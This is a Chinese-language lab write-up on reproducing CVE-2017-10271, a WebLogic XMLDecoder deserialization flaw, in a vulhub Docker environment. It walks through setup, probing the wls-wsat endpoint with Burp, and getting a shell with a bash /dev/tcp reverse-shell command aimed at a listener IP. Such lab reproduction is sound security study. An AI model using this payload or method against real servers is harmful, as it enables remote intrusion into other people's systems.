CVE-2017-10271漏洞复现

漏洞描述

  Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

使用工具

• doker容器
• Ubuntu18.04虚拟机
• Burpsuite

环境搭建

  下载vulhub项目地址：https://github.com/vulhub/vulhub

建议提前给docker配置个加速器,Ubuntu18.04版本配置方法如下：

找到/etc/docker/daemon.json文件，没有的话就直接新建一个

root@admin666-virtual-machine:/etc/docker# vim daemon.json

编辑daemon.json，加入一个镜像加速地址，语法如下：

{"registry-mirrors":["https://xxxx.mirror.aliyuncs.com"]}
#xxxx为自己专属的阿里云镜像加速器地址

如果显示如下错误，则需要修改权限：

进入相应的系统环境：

root@admin666-virtual-machine:~/vulhub-master/weblogic/CVE-2017-10271#

使用docker编译启动，出现done表示已经完成

root@admin666-virtual-machine:~/vulhub-master/weblogic/CVE-2017-10271#docker-compose up -d

完成后，访问http://your-ip:7001/，出现如下页面证明weblogic已经启动成功!

漏洞利用

1.首先判断能否访问http://192.168.1.15:7001/wls-wsat/CoordinatorPortType11 ，访问后出现下图则可能存在漏洞

2.直接利用漏洞POC，用Burp抓包，构造POST请求包，先上传一个1.txt，并访问http://192.168.1.15:7001/wls-wsat/1.txt

3.利用POC构造payload获取shell,语句如下：

bash -i >& /dev/tcp/192.168.1.18/5555 0>&1
#192.168.1.18为接收shell的IP，5555为监听端口
#注意语句需要进行html编码，否则解析XML会出错

4.利用burp构造payload，同时开启kali当作接收shell的虚机，并监听5555端口

5.成功获取shell